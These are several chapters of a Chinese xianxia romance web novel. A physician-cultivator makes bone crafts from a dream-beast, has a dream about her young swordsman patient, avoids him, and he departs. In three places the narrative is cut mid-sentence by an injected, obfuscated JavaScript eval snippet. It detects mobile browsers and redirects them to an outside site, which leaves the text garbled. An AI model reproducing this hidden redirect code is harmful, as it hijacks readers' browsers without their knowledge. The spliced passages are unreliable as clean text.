忽的,谢观棋偏过脸,询问林争渡:“只要是完整的骨头就可以吗?” 林争渡:“倒也不是说……是骨头就行。像你们剑修对剑有自己的审美一样,我对骨头也是有自己的审美的。” 谢观棋走进自己屋里,不一会儿便抱出来一个礼盒,将其打开:礼盒内光芒闪烁,‘吐’出一具保存完整的梦魇尸身来。 比起过于庞大的穷奇骨,梦魇的体型就要小巧许多,但却极为完整;通体洁白如美玉,就连那六对轻薄的翅膀都找不出一丝划痕。 林争渡不由得瞪大眼睛,像见鬼似的绕着这只梦魇转了两圈,又伸手去触碰它流光溢彩的薄翅——上面还有些许残存的灵力,令林争渡只是触碰到,就感觉一阵神思不属。 她连忙缩回手,用力拍了拍自己脸颊,以痛觉令自己保持清醒。 林争渡抬起头很惊喜的看着谢观棋:“送我?” 谢观棋点头。 林争渡:“这个梦魇好完整啊,你猎的吗?” 谢观棋道:“师弟师妹外出历练猎回来,当做礼物送我的。我不猎四境的妖兽,太弱了。” 林争渡自动无视了他的最后一句话,已经开始自言自语的纠结起来:“是做成花盆好,还是做成标本摆件好?” “这只梦魇的骨头长得倒算标准,而且颜色很适合做花盆,我还没有粉蓝色的花盆——但我的标本收藏里也没有这么完整的梦魇啊!” 林争渡越想越纠结,眉头紧皱的在自己腰上摸来摸去,一会摸下柳叶刀,一会摸下短匕首,迟迟无法做出决定。 谢观棋开口:“做个花盆吧,下回等我猎了梦魇,再给你做标本。” 林争渡抬起头看着他:“你不是说,不猎四境的妖兽?” 她清楚看见谢观棋很淡的笑了下,唇角小幅度的往上扬起,“不猎四境的,猎六境的给你。” 他语气轻描淡写,但周身却流露出一股理所当然的自信飞扬来,兼之眸光清亮,容貌秀美,倒叫林争渡看得有几分不好意思起来。 她不禁摸了摸自己鼻尖,讪笑:“那多不好意思。” 谢观棋:“林大夫对我有救命之恩。” 林争渡:“其实你师父付过账了……” 谢观棋:“我人事不省躺在病榻上时,是林大夫悉心照料,更何况我觉得我和林大夫很合得来——我也觉得,若孕妇遇险,应当先保母体,若有余地,再保胎儿。” 林争渡没想到他还会提昨天的事,不过谢观棋的话——不论真假,他这样说,林争渡听了还是高兴的。 药宗弟子本就多性情孤僻特立独行者,而林争渡即使在药宗这样的地方,也属于奇葩中的奇葩,否则也不会搬出来,独居药山之中了。 林争渡用力拍了一下谢观棋肩膀,开心道:“我也觉得我两合得来!” “行,那我就不推辞了。下次你如果再中疫鬼毒,我不收诊金也会救你的!” 林争渡心底有了主意,决定将梦魇尸体做成一个新花盆——不够完整的穷奇骨在林争渡这迅速失了宠,还没来得及二次加工完,就被林争渡又扔回了仓库里。 而林争渡自己,却认真的钻进配药室开始制作头盖骨花盆。 林争渡喜欢用骨头做花盆,并非是有什么见不得人的变态爱好——她既不嗜杀,也不喜欢伤害折磨别人。 她只是单纯的喜欢用骨头制作成工艺品而已。 林争渡觉得骨头是活物身上一个很奇妙的组成部分。上辈子她曾经很认真的纠结过是要学考古去挖死人的骨头,还是学临床去开瓢活人的骨头。 一做起手工来就忘记了时间,至于谢观棋在干什么林争渡更是无暇去管。反正她这院子里也没什么不可告人的秘密,无论是中庭的毒物还是她那一堆风干的泡水的标本,都是在师父佩兰仙子那边走过明路的,所以林争渡也不担心谢观棋去参观。 白天的时间就这样匆匆过去,林争渡的骨头花盆只做了一半。 她困得哈欠连连,决定先在配药室的小床上睡一觉,等明天起来吃饱饭之后继续做手工。 房间里的烛火熄灭之后,整个房间立即陷入一片昏暗,暗淡的月光从窗户缝隙处照进来,照得工作台上半成品的蓝粉色骨架莹润生辉。 骨头旁边的竹架上晾着一对完整的梦魇翅膀——当骨头莹润的蓝粉色微光流照到雪白薄翅上时,那对翅膀微微震颤起来,像是意图□□的昆虫,从翅膀上抖落下许多轻盈洁白的流光。 流光仿若萤火虫,在配药室内漫无目的的飘散,又很快被林争渡熟睡时呼吸的气息牵引,慢慢落到她身上去了。 * 林争渡被敲门声吵醒。 她迷迷糊糊的爬起来,像游魂一样飘过去开门——今天晚上月光不知道为什么特别亮,特别白,把站在门口敲门的人也照得很清晰。 林争渡看其他东西都糊糊的,只有看谢观棋那张脸特别清楚。 她想问谢观棋有什么事,是不是哪里不舒服。毕竟她是一个大夫,而谢观棋是她的病患,病患半夜来敲大夫的门,十有八九是身上有什么地方不适…… 立在门口的少年前进一步,捧住她的脸。 林争渡被捧得仰起脸来,心里还在茫茫然——对方已经低头亲了下来。 他的鼻息也很近的压下来,喷在林争渡脸上。和他的灵根属性一样,呼吸都热得吓人,灼热的温度像是某种侵略信号,顺着林争渡脸颊,浸进她本能的呼吸里面。 林争渡被亲得往后仰,直到被谢观棋托腰抱起来时,她不知怎么的,居然还是感觉茫然,不知道该做出什么样的反应来。 因为太过于茫然,以至于林争渡甚至都没想到自己要问为什么,脑子里空空荡荡的,什么都想不到——直至谢观棋将她抱到了工作桌上。 皎白月光掠过林争渡发顶,照在站在桌前高她许多的谢观棋脸上,恰好照着他那双波光潋滟的桃花眼。 于是那双眼睛也瞬间变得格外清楚起来,清楚得能让林争渡看清楚每一根眼睫毛。她忍不住伸手去摸谢观棋的眼睛,摸到他上钩的眼尾,他垂下眼睫望她,不再是白日里锋利端正的姿态。 好似一下子变得很风情,很稠艳,像色字头顶上挂着的那把刀。 明知道这把刀会剜掉人的心肝,但还是有风流鬼情不自禁凑近——林争渡鬼迷心窍,仰脸亲在他眼睑下。 她之前只注意过谢观棋的骨头,至多和他说话时会看着他的眼睛或者脸。 但至于他平日里穿什么衣服,身上有什么挂饰;林争渡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林争渡霎时吓得连退数步,后腰撞上走廊围栏。她下意识伸出一只手撑住围栏,雪白手背上青筋乱跳,面色却赤红发烫,心跳也快得要命。 和梦里不一样——林争渡很清楚的分辨出来了,现实里的谢观棋绝不会像梦里那样媚态纠缠,眼波流转。 他的眼清亮端正,正如他手上那把剑,锋利中自有一股兵器特有的冷和锐。 “你是不是发烧了?”谢观棋眉心一拧,关切担忧的望着林争渡。 林争渡伸手捂住自己脸,含糊应付了他两句,飞快的跑了。 被留在原地的谢观棋摸不着头脑,思来想去,觉得林争渡大约是真的病了。 也没人规定医修不能生病,更何况林争渡似乎也不是什么正统医修。 谢观棋一直惦记着林争渡疑似生病,练剑时一会想起对方赤红的脸,一会又想起前天晚上,他拉林争渡上岸时,在林争渡手腕上留下的红痕。 谢观棋此人,自幼于练剑一道实在是天赋绝佳。所以他从来没有当弱者的时候,遇到的对手也都是个顶个的硬骨头,还是头一次意识到修士里面也会有林大夫这样—— 弱不禁风的类型。 不会被疫鬼毒这样可怕的东西毒死,但是会自己生病。 不过也没什么,人各有所长,林大夫精于医药,这点强过他百倍。 杂念过多,练剑也是辜负剑。谢观棋干脆收了式,坐在山顶等待日出。 等到看完日出,谢观棋收剑下山。 小院一如既往,林大夫躺在摇椅上,脸上盖着一本书。 谢观棋听她心跳,并未睡着,便走到摇椅边半蹲下来:“林大夫,你好点了吗?” 林争渡把盖在脸上的书本拿下来,露出一张因为没睡好而有些苍白憔悴的脸,幽怨的望向谢观棋。 可惜谢观棋没有察觉她目光幽怨,只是很担心的皱眉:“你给自己开药了吗?怎么脸色比早上那会更差了?” “那时候至少还是红的,现在居然全变成白色了。” 林争渡把书本举到谢观棋面前,用手指敲了敲书页——谢观棋顺势去看她手指的地方,发现这是一本专讲珍奇妖兽的古籍。 这一页恰好讲的是梦魇。 将梦魇的翅膀晒在月光底下,翅膀就会抖落鳞粉。若将鳞粉洒在身上再入睡,就会做梦。 谢观棋看完了,沉思片刻,抬起头询问林争渡:“你想做梦了?多梦扰眠,会睡不好的。” 林争渡:“……你不知道梦魇的翅膀有此效果?” 谢观棋:“不知道,我猎妖很少留全尸。” 怕林争渡误会,谢观棋又补充道:“以前是觉得没有必要,但若要猎物全然完整无暇,我也是办得到的。” “所以你不必担心,我给你找来的梦魇尸体会比这一具更加完整。” 7. 躲他 林争渡把梦魇翅膀收进了收容材料的乾坤袋里,贴上标签纸后将它放去了专门存放危险物品的柜子里面。 而后她又仔细的把配药房上下都检查了一遍——果然在其他地方找到了不少鳞粉残留。 书上说梦魇翅膀鳞粉致梦,但梦的内容是可控的,一般会受到混合材料或者梦魇本身状态的影响。鉴于配药室内部本来就堆积了很多材料,而林争渡也并没有见过那只梦魇活着时是什么状态,故而无从判断是什么原因让它捏造出来一场春梦。 至于为什么会梦到谢观棋——林争渡认为这只是概率问题。 她最近太常见到谢观棋了,所以对他印象深刻。日有所见,夜有所梦,之所以做的是春梦,也只是因为鳞粉作怪,倒和情爱无关。 尽管在心里分析得头头是道,但是吃饭时碰上谢观棋,林争渡仍旧感觉到单方面的尴尬和无所适从。 在做春梦之前,对方在林争渡眼里只是一个脾性还算相合的病患,漂亮但无法收藏的骨头架子。但是一场春梦,林争渡骤然被迫正视了对方是一名年轻异性的事实,并在相处中感到束手束脚起来。 匆忙吃过饭,林争渡一言不发的跑走,没有给谢观棋搭话的机会。 但是等回到配药房,林争渡看见自己工作台上没有加工完的花盆:已经打磨抛光的粉蓝色骨头,在窗外日光的照耀下莹润生辉。 这本该是极漂亮,极合林争渡心意的一个半成品花盆。但是现在,林争渡一看见它,就想起那个令人意志昏沉的春梦,心情顿时变得微妙起来。 虽然是春梦。 可她在梦里时却真的觉得谢观棋很好看,也没有推开谢观棋。 林争渡盯着半成品花盆,半晌,她揉了揉自己越来越红的脸,还是把它抱进了一旁的柜子里,转而掏出之前没处理完的穷奇骨,继续折腾它去了。 现在林争渡也不想做什么花盆了,决定将穷奇骨在现有的形状上略作改造,将它做成一个花架子。 穷奇骨体积较大,没办法在配药房里炮制。但是如果去院子的空地上做手工,林争渡又怕碰见谢观棋,思来想去——她把穷奇骨搬去了后院。 林争渡的后院挖了一个池塘,不过池塘没有蓄养活物,只养了一些水生的花花草草。池塘四面的石壁上爬满青苔,并生有一些虎耳草和紫堇,紫色和白色的小花交错,长在大片幽绿的青苔上。 林争渡站在稍远一点的地方,用手比划了一下空位——在心里盘算好要放摆件的位置之后,她拿起工具开始填补和修改这具庞大的骨架。 修着修着,林争渡往腰间搭包里摸钉子的手,摸了个空:钉子用完了。 她停下动作,单手靠在骨架上,陷入了纠结的沉默中。 后院距离配药室太远了,要走回去拿钉子吗?懒得走唉,但是不去的话,活儿总不能做一半停在这里。如果现在停下来,这个骨头架子可能会被拖延到秋天才做完吧…… “要我帮忙吗?” 谢观棋低沉的声音冷不丁的飘过来——林争渡被吓了一跳,受惊的耸起肩膀回头,看见谢观棋不知道什么时候站到了自己身后,正仰着头在看穷奇骨架。 骨架下半部分已经被搭建起来了,可以支撑庞大的脊椎立起,乍一看很能唬人。 林争渡把头转回去,不动声色的往旁边挪了两步,同谢观棋拉开距离:“我钉子用完了,能麻烦你去配药室帮我取两袋回来吗?” “就在进门左手边第二个柜子,柜门上贴着合神钉的就是。” 谢观棋点头离开——等他走远之后,林争渡不自觉抚着胸口松了口气。 但是没一会谢观棋就回来了。 这次林争渡一直注意着走廊,在他绕过拐角时第一时间就发现了他:谢观棋走路果然是没有声音的,但是等他走近时可以感觉到他身上皂角和草药混合的淡淡气味。 谢观棋在小院里住了几天,也被小院里的各种草药腌入味了。 接过钉子之后,林争渡假装在认真干活,但却偷偷瞥了谢观棋好几眼。 谢观棋好像不打算走了,抱着胳膊靠在走廊栏杆上。从林争渡的位置偷偷看过去,至多只能瞥见他衣襟,却看不见他的脸,只能从他面朝的方向判断出他在看这边。 不知道他是在看半成品的骨架,还是在看自己。 因为不知道,不确定,无法判断,林争渡甚至为此感觉到了些微的焦躁,后背皮肤爬起一股烦人的燥热来,一直爬上她的后脖颈。 林争渡空出一只手,揉了揉自己脖颈,假借活动肩膀的姿势,将身体微微后偏,视线终于得以看见谢观棋正脸:他在看自己。 两人视线短暂的对上,林争渡眉心一跳,迅速的放下胳膊,站直了身体继续盯着面前骨架。 她眉心紧皱,一副被手工进度难到了的模样,手一会摸摸自己刚敲上去的钉子,一会摸摸填补了白胶的缝隙。林争渡现在一定要做点什么,好让自己看上去很忙,好足以掩盖刚才那短暂的对视。 她甚至懊恼起来,在心里想:我为什么要躲开视线? 对视就对视了——又不会真的发生什么。 好在谢观棋很快就走了。 他一离开,林争渡立刻按着自己心口长长的呼出一口气来。但是那口气喘到一半,骤然卡住,林争渡睁大眼睛惶恐起来:谢观棋为什么突然走开了? 他是不是察觉到了什么,所以突然走开了? 这个认知给林争渡的感觉,要远比谢观棋站在那边来得可怕。她光是想想谢观棋可能发现蛛丝马迹,就感觉自己头皮发麻。 那场梦太过于真实,梦里出现的谢观棋和林争渡在现实里看见的谢观棋几乎一般无二。以至于林争渡明知道那是梦,但还是对现实里一无所知的谢观棋感到惊慌失措。 恨不得变成鸵鸟,将脑袋埋进沙子里去。 林争渡觉得自己必须得躲着谢观棋一段时间——只需要两三天——等她自己淡忘那个春梦,她就可以用平常心对待谢观棋了。 到了晚上,两人不得不一起坐在台阶上吃便捷晚饭时,林争渡拿了一本书摊开在膝盖上。 她假装在认真的看书,以此来杜绝谢观棋搭话,也杜绝自己去看谢观棋。虽然林争渡真的很想偏过脸去,观察一下谢观棋是什么表情。 但是林争渡忍住了。 小不忍则乱大谋——尽管林争渡并没有在谋划什么——但不妨碍她用这句话在心里告诫自己。 先不说一旦让谢观棋知道事实,对她而言是何等社会性死亡的事情。就是年纪,林争渡也受不了啊! 修仙界没有未成年保护法,但林争渡心里有。她实在没办法说服自己对十七岁的少年下手,这和大学生谈了一个男高有什么区别? 太罪恶了! 越想越可怕,林争渡赶紧将书本一口气翻过好几页,以此来平复自己的心情。 谢观棋困惑:“你刚才那几页都看了吗?” 林争渡正色道:“吃东西的时候不要讲话,那样很不礼貌——我一目十行,看了的。” 谢观棋:“可是你书也拿倒了。” 林争渡:“……” 谢观棋:“药宗独有的修行方式?” 他问得很诚恳,看得出来他是真的这么想。 林争渡‘啪’的一声用力把书合上,站起身来:“我想起来我今天要配一个药,今天的饼就先吃到这里吧!” 她的饼其实并没有吃完,但是林争渡抓着没吃完的饼大步走了。她越走越快,最后开始小跑,背影飞快的消失在谢观棋视线里。 谢观棋盯着她背影消失的方向,慢慢歪了下脑袋,若有所思了起来。 在配药室呆到月上枝头——林争渡把烤架上烤熟的草药夹起一株,观察片刻后将它放进了嘴里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“没把出什么问题,也许是你的经脉还没有恢复好——病人还是要多多休息,修行不必如此勤恳……这么晚了你还修炼吗?”林争渡松开谢观棋手腕。 谢观棋回答:“不算勤恳,修行已经比从前减轻了许多。” 林争渡:“减轻了?我看你每天还那么早起来练剑呢。” 谢观棋道:“一日之计在于晨,早练是不可以懈怠的。” 说话间,谢观棋把刚刚诊脉的那只手收回去,揉了揉自己手腕,也将护腕松开些许。 护腕松开后露出一截骨感很明显的手腕,匀称白皙的皮肤底下是青筋盘绕,棱角分明的骨骼将皮肤撑起形状。 林争渡目光不着痕迹掠过他手腕,又飞快移开,并抬手抓了抓自己脖颈侧面。 那片皮肤上面的火灵本来早就应该被清洗干净了。但是林争渡总有一种错觉,觉得那块皮肤时不时重复冒起被火焰擦过的痛觉,尤其是在谢观棋偶尔靠她很近的时候,那种感觉越演越烈。 像一种条件反射。 林争渡:“那我配点药给你吧,你拿回去自己煮来喝,你会煮药吧?” 谢观棋颔首:“我会。” 林争渡终于给自己找到了事情做,连忙站起身走到药柜面前,拿了张牛皮纸开始给谢观棋抓药。 对方说是灵力运行不畅,但是林争渡刚才给他把脉却什么问题都没有把出来。但想来想去,谢观棋又没必要骗人,林争渡还是按照调节气血滋养经脉的方子给他抓了两包药。 她将包好的牛皮纸打上绳结,递给谢观棋:“早晚两道,饭后吃,每次吃完药后即刻打坐一周天,先看看效果,如果觉得不好,一定要和我说。” 谢观棋伸手接过药包——在林争渡手上需要两手捧着的药包,他一只手就抓住了,手指曲起用力时,手背上骨骼和青筋的痕迹就变得更加明显。 林争渡盯着他抓药包的手背,分神了几秒钟。 谢观棋:“有什么问题都可以和你说吗?” 林争渡迅速回过神来,回答:“当然——” 谢观棋:“那林大夫为什么躲着我?” 8. 吵架了吗 林争渡一愣,嘴巴张开了却没能发出声音,甚至于脑子里都空白了那么几秒钟。 她险些要怀疑是不是自己耳朵出了问题。 谢观棋握着药包,站在林争渡对面。林争渡迟疑的抬起头看向他——点在谢观棋身后的灯火将他身体边缘勾画出一圈金边,他的影子投落下来,完全盖住林争渡之后还有余地。 背光使得谢观棋的脸有些模糊,但是林争渡能很清楚感觉到他的视线,存在感极强的落在自己脸上。 脖颈侧那块皮肤又在隐隐发烫,林争渡不自觉后退,直到后背抵上冰冷坚实的药柜。她咽了咽口水,想先做个深呼吸冷静一下。 但是谢观棋站得太近了,林争渡一做深呼吸,感觉吸进肺里的全都是他身上的气息。这个认知让林争渡差点呛到自己,不禁摸了摸自己脖颈。 林争渡干巴巴的垂死挣扎:“躲你?我没有啊,我只是——今天和昨天都很忙,很忙而已。我事情很多的,我要做花架,要看书,还要制药,我又不止你一个病人,其他病患也等着我开药呢!” 说话时,林争渡心虚得不敢和谢观棋对视,目光只敢在他胸口衣襟上流连。 她也不算是说谎——药宗的医修治凡人确实不收费,但是治修士那叫一个漫天要价。如果修士身上没钱,也可以退而求次之,请精通配药的药宗弟子为自己配药或者做伤口缝合,会比法术治疗便宜很多。 林争渡虽然医修的本事一般般,但配药的本领却是公认的最好。 虽然在心里找好了借口,但是林争渡也做好了会被谢观棋反驳的准备。而出乎意料的,谢观棋沉默着没有说话。 他沉默的时间有点长,长得令林争渡略感不安。林争渡攥了攥自己衣角,最后还是鼓起勇气,抬头去看谢观棋。 他的脸庞沉在一片暗暗的阴影里,眼睫低垂,眉峰微蹙——看起来好像在难过。 林争渡看得心里咯噔一声,下意识的觉得不好。 她吞了下口水,竭力找补:“我,我只是这两天有点忙,所以才这样的。等过几天,我忙完了就好了——没有故意躲着你,也不是对你有意见,真的。” 林争渡很慌,说话语气像一个竭力在给男友画饼,说等我变成世界首富,我们就去结婚的人。 这种诡异的联想让林争渡心情也变得微妙起来。 谢观棋往后退了两步,两人之间的距离拉开了。随着他走远,他身上那股滚烫的,很有压迫感的气息也跟着远离,林争渡深吸了两口新鲜空气,僵硬的脊背松了下来。 谢观棋道:“嗯,我知道了。” 也不知道他知道了什么,但是林争渡自己现在也有点心乱如麻,胡乱点头敷衍了谢观棋几句,将他送走。 第二天一早,林争渡被拍门声叫醒。 拍门声很急,像是催命一样。林争渡几乎是被惊醒的,爬起来开门时都还有些惊魂未定:一打开门,她就看见了小师妹青岚。 青岚:“师姐!师父要见你!” 林争渡身子一歪靠到门框上,叹气:“青岚,你下次敲门能不能轻一点?” 青岚瞪大眼睛:“当然是因为有急事,我才敲得这么大声的!” 说完,她环顾左右——林争渡道:“别看了,这里就住着我和隔壁剑宗的……” 青岚:“你还不知道?隔壁那位谢师兄回去了。” 林争渡脸上淡淡的笑意凝固,茫然:“回——回去了?谁回去了?” 青岚重复了一遍:“就是剑宗燕稠山的谢师兄啊,前段时间中了疫鬼毒,被师父送到你这边来的那个。” “他一早去拜别了师父,说很感激你这段时间对他的照顾,他现在已经完全恢复了,所以要回剑宗去。他走之后,师父就马上让我来找你了。” 林争渡快步走到侧卧,推开门往里一看:果然已经人去楼空。 房间被打扫得很干净,就连被褥都折好放回了柜子里。如果不是因为房间过于干净,干净到连积灰都没有,甚至会让人怀疑这个房子里到底有没有住过人。 青岚追着过来,从林争渡身后探头往里看,感叹:“谢师兄人真好,走了还给做卫生。上次剑宗那边抬过来的病人,还问我们能不能帮忙洗衣服,人和人之间真是不能比较……” 话到一半,青岚忽然察觉到不对劲,小心翼翼瞥了眼林争渡:“师姐,他走没跟你说吗?” 林争渡把侧卧门关上,摸了摸青岚脑袋:“估计是我睡得熟,他没叫醒我。” 见师姐神色如常,不像是受了病患气的模样,青岚松了口气:“这样子噢——不过也是,剑宗的弟子都起好早。谢师兄来拜别师父的时候,我都还没起床,是小师兄告诉我的。” 林争渡:“那为什么不是陆圆圆过来传消息?” 青岚嘟着嘴巴不高兴道:“小师兄从今天开始,要去练习术法,寻找合适的法器了。所以以后师门里就剩下我还可以跑腿了。” 两人说着话,通过传送阵到了菡萏馆。 林争渡在一处荷叶簇拥的凉亭里见到了师父佩兰仙子,她正在吃早点,顺便招呼林争渡过去一起吃。 林争渡在坐下之前,颇为紧张的问了一句:“这是师父你做的吗?” 佩兰仙子:“如果是呢?” 林争渡诚恳回答:“那我就不吃了。” 佩兰仙子连连摇头:“你们不懂我对食物的追求——罢了,这是圆圆从山外带回来的。” 林争渡放心的拿了一块糕点进嘴,边吃边等待佩兰仙子开口。 佩兰仙子眯起眼睛看了她一会,忽然动了下手指。她手臂上无风自动的披帛顿时飞了出去,拂过林争渡脖颈侧。 佩兰仙子是纯粹的水灵根,就连灵力也绵柔冰凉,凉得林争渡一哆嗦,连忙捂住自己脖颈。 佩兰仙子:“你脖颈上为什么会有火属性的灵残留?” 林争渡愣住:“啊?还有吗?我之前有用自己的灵去覆盖过……我还以为已经清洗掉了。一点意外,不是什么大事。” 见林争渡没有要展开说明的意思,佩兰仙子咂舌,神色不虞的别过脸去。 林争渡:“师父,我们要不要直接说正事?” 佩兰仙子又把脸转回来,“疫鬼毒,你是配药给他解的,还是换血给他解的?” 林争渡:“换血解的,只配药需要很多时间,在我配出正确的解药之前,他早就被毒死了。” 佩兰仙子不语,托着自己脸颊沉思。 林争渡见她不说话,于是抓紧时间又吃了两块糕点:是恰到好处的甜味,有点像奶糕,好吃! 佩兰仙子:“日后若有人问起,你就说谢观棋是在菡萏馆解的毒,你只照顾了他后几日,并不清楚解毒用的是药还是法术。” 林争渡点头:“好。” 叮嘱完正事,佩兰仙子又盯着林争渡的脸看了会,冷不丁开口:“你和观棋相处得不好吗?” 林争渡顿时被糕点噎到,咳得惊天动地,一个劲锤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372123|183969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己胸口。 佩兰仙子手一摆,茶壶自动倒水,装满了茶水的杯子飘到了林争渡手边。 她抓住茶杯一饮而尽,终于把哽在喉咙里的糕点给咽了下去。握着茶杯迟疑了几秒,林争渡气短的问:“怎么会这么问?” 佩兰仙子微微一笑:“我还以为你会问是不是他来见我的时候,告了你的状。” 林争渡讪笑,但言语间却很信任:“谢观棋不是那种人。” 佩兰仙子:“他只是正常道别和感谢,我自己猜的。你上次传信过来,还说要观察他一月,收集够了样本数据才会放他走。结果这才小半个月,他就自己来跟我告别了——这不是吵架吵得在你那待不下去了,还能是什么?” 面对师父充满好奇的目光,林争渡心虚的又喝了一大杯茶水。 说真话是不可能说真话的,而且林争渡现在也还有点摸不着头脑。 昨天晚上虽然有点尴尬,但不是还聊得好好的吗?怎么第二天一声不吭的就跑了? 难道是因为自己昨天说自己很忙,事情很多,谢观棋不想给她添麻烦,就悄悄走了?好像也有点不太对。 林争渡想不出原因,干脆将其抛开不想。既然已经来了菡萏馆,她便顺路去了一趟百草大殿主道边的公布栏。 药宗的弟子并不是每个都擅长打架。不擅长打架的医修在需求某些罕见材料时,会在布告栏张贴悬赏,让其他擅长打架的同门赚点外快。 不过自从这个公布栏成立之后,从这里接悬赏最多的反而是隔壁剑宗弟子。 林争渡也有在布告栏上张贴悬赏。不过因为她要的材料都很偏门,所以她贴的悬赏单经常会在布告栏上停留很久。其中停留最久的莫过于林争渡四年前贴上去的一张悬赏单:水属性白龙珠一颗。 那张单子因为太久没有人接,林争渡已经对其不抱希望。 她这次来是想看看自己三个月前贴的人面蛾有没有被接走。 走到布告栏前,林争渡习惯性从最顶上开始看,一目十行扫到中间偏下,看见那张人面蛾的单子居然还没有被揭走。 她叹了口气,转头正准备离开,却忽然意识到什么——林争渡猛地回过头,看向布告栏最上方;那张白龙珠的悬赏单,被人揭走了。 * 燕稠山,骤雨亭。 亭子从中间开始被一分为二,露出一条巨大的裂隙。天上的暴雨不断从裂隙里灌进来,落到单手持剑的少年身上。 少年站得笔直,穿着一身极为朴素的黑色劲装,朴素到全身上下都找不到一处暗纹或者绣花——唯一有刺绣的地方大概只有护腕了,但也是粗糙简易的流云纹,街上随处可见的质量。 但是这样朴素的衣服穿在他身上,却因为少年体型匀称,骨清神秀,而显得那衣服也颇觉江湖意气,少年英侠。 距离骤雨亭稍远一点的地方,小师妹同二师兄共享一把大雨伞,嗑着瓜子交流八卦。 小师妹好奇:“大师兄干嘛要站在正中间淋雨啊?” 二师兄:“他想和隔壁药宗的医修交朋友,但是被人家讨厌了,所以连夜回到我们这个温暖的大家庭舔舐伤口。” 小师妹:“大师兄不是火灵根?他淋到雨怎么身上没有冒热气啊?” 二师兄深沉道:“人在失意的时候,就是会需要一场暴雨的。” 小师妹不能理解:“诗意?大师兄要作诗吗?但他文考连拼音写字都拿不到分,要怎么作诗啊?他认识韵脚吗?” 9.解释 小师妹问完,却不见二师兄回答她——只见二师兄不知何故对她眨了眨眼睛,又小幅度的抽动脸皮。 小师妹见状大惊失色:“师兄!你何故对我大抛媚眼?我不喜欢大我太多的老男人!” 二师兄:“……” “我只是不大会拼写,但是认识韵脚。” 平静的解释从头顶飘过来,小师妹保持着惊吓的表情抬起头,才看见刚才她们悄摸讨论的大师兄不知何时已经走到了旁边。 剑宗弟子排序不按年纪,而是按辈分和入门时间。谢观棋的年纪其实和小师妹大差不差,但他尚在襁褓中时就被云省长老收养,又是云省长老唯一的亲传弟子,所以便有了许多年长于自己的师弟师妹。 天空中的暴雨未停,谢观棋也没有打伞,但他身上仍旧是干爽的。雨点在离他半寸距离的地方,便被一层无形的灵力屏障隔开。 小师妹心虚的退到二师兄身后:“大,大师兄好——” 谢观棋略一颔首,开口道:“背后议论他人短处,这样不好。下次要议论,要等师父在场的时候议论。” 小师妹刚入门不久,跟谢观棋还很陌生,有点怕他,又好奇,忍不住问:“为什么呀?” 谢观棋一本正经的回答:“背后论人长短,容易被正主听见并挨揍。但师父很强,于此世间少有敌手,他可以保护你们。” 二师兄:“……师兄,你应该教她从一开始就不可以背后说别人坏话。” 谢观棋淡淡道:“遇到讨厌的人,难免要挑剔几句,此乃人之常情,落霞,不必对自己过于苛刻。” 二师兄:“说得很好,但是我不叫落霞,落霞是我的剑——师兄!我们都认识六年了,你还没记住我的脸和名字吗?!” 谢观棋沉默片刻,面对师弟的指责,颇为愧疚的憋出一句:“……抱歉。” 二师兄气笑了:“别光是道歉,你倒是给我保证下次会记住啊!” 小师妹还要去上晚课,走的时候带走了瓜子和伞——二师兄从自己的乾坤袋里拿出一把伞撑开,并拍了拍谢观棋的肩膀,也走了。 甚至没有给谢观棋留一把伞。 谢观棋习以为常,他也不需要伞。只是遇上暴雨天,他难免会想起之前林大夫带他去镇子上玩——那次也是遇上了暴雨,周围的人都忙着躲雨,人群像湿热的鱼群,从他身边游过去。 所有人的脸,身形,落进谢观棋眼里,都像庞大鱼群里平平无奇的一尾鱼,他根本看不清,也记不住。 而林大夫抓着他的手腕,像没头苍蝇一样乱跑。 她的手很冰,雨水从她指尖滴到谢观棋手腕上,湿漉漉得像鱼尾巴贴在上面。 谢观棋其实很讨厌下雨天。 他是极为纯粹的单火灵根,水灵旺盛的暴雨天会令他感到不适。尽管在修为见长后,天气和环境的属性越来越难对谢观棋造成影响,但从小到大的刻板印象仍旧让谢观棋讨厌下雨天。 但是那天谢观棋却很庆幸遇上了暴雨。 暴雨把他和林大夫困在了同一个亭子里,林大夫在看暴雨,谢观棋在看林大夫——暴雨停的时候他看见林大夫眼角尖尖向下的眼弯起一点弧度,露出了一个很秀气的笑脸。 一时间谢观棋觉得下雨天特别好。 可是林大夫畏惧他——虽然谢观棋不知道原因。但他熟悉那种躲避的姿态,剑宗里害怕他的同门就会这样躲避他。 偶尔避无可避,正面碰上时,她们也会像林大夫那样强作镇定,寻找一些半真半假的借口糊弄谢观棋。那样拙劣的借口很轻易就被谢观棋看穿,但是谢观棋不会说出来。 因为天才总是被人排挤的,他懂,他超懂。 谢观棋只是不明白林大夫为什么——林大夫又不是剑修,也对剑不感兴趣,而且也不是他的敌人,不用担心他会突然拔剑请赐教。 谢观棋百思不得其解,望着幽暗夜空中的瓢泼大雨,感觉自己心口也变得闷闷的了。 为什么呢? * 林争渡去找管理布告栏的师弟,询问是谁揭了自己的悬赏单。 师弟摇头:“对方要求保密,我不能说。不过师姐你放心,我们有规定完成时间,如果时间到了,对方还没弄到你要的东西,我们会帮你重新张贴悬赏单的。” 布告栏确实可以匿名接单,也能匿名张贴悬赏。有些医修不想被其他人看出自己要做什么时,就通常会选择匿名。 